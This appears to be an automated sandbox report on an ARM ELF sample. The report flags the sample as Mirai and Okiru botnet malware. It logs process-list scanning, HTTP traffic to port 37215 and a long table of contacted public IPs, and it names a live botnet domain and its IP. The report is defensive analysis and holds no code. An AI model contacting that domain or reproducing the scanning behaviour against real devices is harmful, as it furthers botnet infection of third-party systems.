Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3222/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3220/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3461/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/850/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3456/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3475/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/740/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3469/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3465/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5643/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5644/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/505/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5645/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5526/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5527/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/1185/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3241/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3483/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3235/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3234/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/515/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5553/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3255/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3253/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3252/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3251/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3250/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3249/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/764/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3368/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3246/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3488/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/766/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/888/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5560/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/5562/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/654/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/3379/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/655/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/656/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/777/cmdline Jump to behavior
Source: /tmp/mCS7AR9pKm.elf (PID: 5556) File opened: /proc/657/cmdline Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 51582 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 39174 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 39174
Source: unknown Network traffic detected: HTTP traffic on port 35582 -> 37215
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/mCS7AR9pKm.elf (PID: 5551) Queries kernel information via 'uname': Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5573) Queries kernel information via 'uname': Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5599) Queries kernel information via 'uname': Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5601) Queries kernel information via 'uname': Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5606) Queries kernel information via 'uname': Jump to behavior
Source: mCS7AR9pKm.elf, 5551.1.0000559e05fab000.0000559e060fb000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: mCS7AR9pKm.elf, 5551.1.00007ffc23f5f000.00007ffc23f80000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/mCS7AR9pKm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mCS7AR9pKm.elf
Source: mCS7AR9pKm.elf, 5551.1.0000559e05fab000.0000559e060fb000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: mCS7AR9pKm.elf, 5551.1.00007ffc23f5f000.00007ffc23f80000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: mCS7AR9pKm.elf, type: SAMPLE
Source: Yara match File source: 5551.1.00007fdb5c017000.00007fdb5c034000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mCS7AR9pKm.elf PID: 5551, type: MEMORYSTR
Yara detected Okiru
Source: Yara match File source: mCS7AR9pKm.elf, type: SAMPLE
Source: Yara match File source: 5551.1.00007fdb5c017000.00007fdb5c034000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mCS7AR9pKm.elf PID: 5551, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: mCS7AR9pKm.elf, type: SAMPLE
Source: Yara match File source: 5551.1.00007fdb5c017000.00007fdb5c034000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mCS7AR9pKm.elf PID: 5551, type: MEMORYSTR
Yara detected Okiru
Source: Yara match File source: mCS7AR9pKm.elf, type: SAMPLE
Source: Yara match File source: 5551.1.00007fdb5c017000.00007fdb5c034000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mCS7AR9pKm.elf PID: 5551, type: MEMORYSTR
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
2.229.196.120
 unknown Italy
12874 FASTWEBIT false
41.201.246.168
 unknown Algeria
36947 ALGTEL-ASDZ false
27.155.187.72
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
212.194.129.235
 unknown France
5410 BOUYGTEL-ISPFR false
185.58.155.62
 unknown Russian Federation
13178 DIGCOMMFR false
59.184.246.109
 unknown India
17813 MTNL-APMahanagarTelephoneNigamLimitedIN false
176.171.251.140
 unknown France
5410 BOUYGTEL-ISPFR false
197.148.170.245
 unknown Madagascar
37303 AIRTELMADAMG false
41.73.250.171
 unknown Nigeria
16284 UNSPECIFIEDNG false
102.74.176.9
 unknown Morocco
6713 IAM-ASMA false
4.179.253.87
 unknown United States
3356 LEVEL3US false
157.252.171.64
 unknown United States
3592 TRINCOLL-ASUS false
2.252.14.165
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
157.2.29.40
 unknown Japan 4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
149.157.51.232
 unknown Ireland
1213 HEANETIE false
174.0.51.46
 unknown Canada
6327 SHAWCA false
157.114.204.198
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
185.88.186.149
 unknown United Kingdom
49882 SKRILLGB false
157.78.133.31
 unknown Japan 4725 ODNSoftBankMobileCorpJP false
122.60.68.210
 unknown New Zealand
4771 SPARKNZSparkNewZealandTradingLtdNZ false
197.196.64.235
 unknown Egypt
36992 ETISALAT-MISREG false
157.181.189.186
 unknown Hungary
2012 ELTENETELTENETHU false
157.182.219.130
 unknown United States
12118 WVUUS false
41.184.118.228
 unknown Nigeria
29091 IPNXngNG false
213.196.220.17
 unknown Germany
8422 NETCOLOGNEDE false
103.250.231.33
 unknown New Zealand
38437 WIC-AS-NZWickedNetworksNZ false
187.142.69.163
 unknown Mexico
8151 UninetSAdeCVMX false
8.156.94.142
 unknown Singapore
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
176.217.134.84
 unknown Turkey
8386 KOCNETTR false
85.157.92.208
 unknown Finland
15527 ANVIASilmukkatie6VaasaFinlandFI false
194.86.205.231
 unknown Finland
719 ELISA-ASHelsinkiFinlandEU false
79.102.180.213
 unknown Sweden
2119 TELENOR-NEXTELTelenorNorgeASNO false
47.61.232.128
 unknown United States
12430 VODAFONE_ESES false
157.241.76.109
 unknown United States
32934 FACEBOOKUS false
128.155.91.127
 unknown United States
1254 AS1254US false
115.170.219.18
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
157.240.49.17
 unknown United States
32934 FACEBOOKUS false
197.128.56.84
 unknown Morocco
6713 IAM-ASMA false
49.8.147.83
 unknown Korea Republic of
9858 KRNICNETKoreaInternetSecurityAgencyKR false
37.208.250.49
 unknown Qatar
42298 GCC-MPLS-PEERINGGCCMPLSpeeringQA false
43.79.210.168
 unknown Japan 4249 LILLY-ASUS false
157.198.147.71
 unknown United States
4704 SANNETRakutenMobileIncJP false
201.195.242.93
 unknown Costa Rica
11830 InstitutoCostarricensedeElectricidadyTelecomCR false
8.248.56.193
 unknown United States
3356 LEVEL3US false
157.182.19.38
 unknown United States
12118 WVUUS false
190.23.45.137
 unknown Paraguay
27866 COPACOPY false
41.115.224.87
 unknown South Africa
16637 MTNNS-ASZA false
41.83.144.204
 unknown Senegal
8346 SONATEL-ASAutonomousSystemEU false
157.190.86.97
 unknown Ireland
1213 HEANETIE false
157.241.28.230
 unknown United States
32934 FACEBOOKUS false
186.128.210.149
 unknown Argentina
22927 TelefonicadeArgentinaAR false
44.244.87.34
 unknown United States
16509 AMAZON-02US false
90.245.29.94
 unknown United Kingdom
5378 VodafoneGB false
68.174.20.204
 unknown United States
12271 TWC-12271-NYCUS false
197.221.180.232
 unknown South Africa
37356 O-TelZA false
199.76.245.75
 unknown United States
3549 LVLT-3549US false
31.112.10.70
 unknown United Kingdom
12576 EELtdGB false
41.60.238.147
 unknown Mauritius
30844 LIQUID-ASGB false
125.113.88.194
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
129.160.182.165
 unknown United States
3359 U-ALBERTACA false
158.120.80.27
 unknown United States
31756 COLORADOSPRINGS-GOVUS false
177.22.249.11
 unknown Brazil
263564 CPnetSeuProvedorBandaLargaBR false
128.21.222.185
 unknown United States
13 DNIC-AS-00013US false
191.140.250.75
 unknown Brazil
26615 TIMSABR false
48.150.5.53
 unknown United States
2686 ATGS-MMD-ASUS false
194.193.29.71
 unknown Australia
17477 MCT-SYDNEYMacquarieTelecomAU false
81.11.205.157
 unknown Belgium
5432 PROXIMUS-ISP-ASBE false
157.54.13.213
 unknown United States
3598 MICROSOFT-CORP-ASUS false
93.47.218.27
 unknown Italy
12874 FASTWEBIT false
171.29.63.179
 unknown United Kingdom
34457 AMB-GENERALIDE false
223.179.202.232
 unknown India
45609 BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService false
197.93.232.129
 unknown South Africa
10474 OPTINETZA false
143.137.161.35
 unknown Brazil
264051 PROVEDORACTIONBR false
197.102.171.188
 unknown South Africa
3741 ISZA false
106.236.17.14
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
175.187.94.118
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
197.58.116.239
 unknown Egypt
8452 TE-ASTE-ASEG false
41.182.10.59
 unknown Namibia
36996 TELECOM-NAMIBIANA false
195.156.127.33
 unknown Finland
1759 TSF-IP-CORETeliaFinlandOyjEU false
197.193.219.76
 unknown Egypt
36992 ETISALAT-MISREG false
157.162.143.37
 unknown Germany
22192 SSHENETUS false
191.206.147.103
 unknown Brazil
26599 TELEFONICABRASILSABR false
184.135.50.10
 unknown United States
5778 CENTURYLINK-LEGACY-EMBARQ-RCMTUS false
179.7.17.248
 unknown Peru
12252 AmericaMovilPeruSACPE false
130.159.15.46
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
66.17.98.85
 unknown United States
26860 SWTCUS false
197.53.120.115
 unknown Egypt
8452 TE-ASTE-ASEG false
191.1.251.218
 unknown Brazil
7738 TelemarNorteLesteSABR false
41.239.218.89
 unknown Egypt
8452 TE-ASTE-ASEG false
157.102.54.122
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
41.177.70.191
 unknown South Africa
36874 CybersmartZA false
96.80.107.52
 unknown United States
7922 COMCAST-7922US false
152.77.67.75
 unknown France
1942 FR-TIGREToileInformatiqueGREnobloiseEU false
157.220.202.163
 unknown United States
4704 SANNETRakutenMobileIncJP false
157.194.117.223
 unknown United States
4704 SANNETRakutenMobileIncJP false
144.250.158.186
 unknown United States
7046 RFC2270-UUNET-CUSTOMERUS false
191.86.86.128
 unknown Brazil
26615 TIMSABR false
20.174.35.247
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
201.51.235.246
 unknown Brazil
7738 TelemarNorteLesteSABR false
157.227.30.155
 unknown Australia
4704 SANNETRakutenMobileIncJP false

Contacted Domains

Name IP Active
botnet.net-killertajima.com 103.174.73.190 true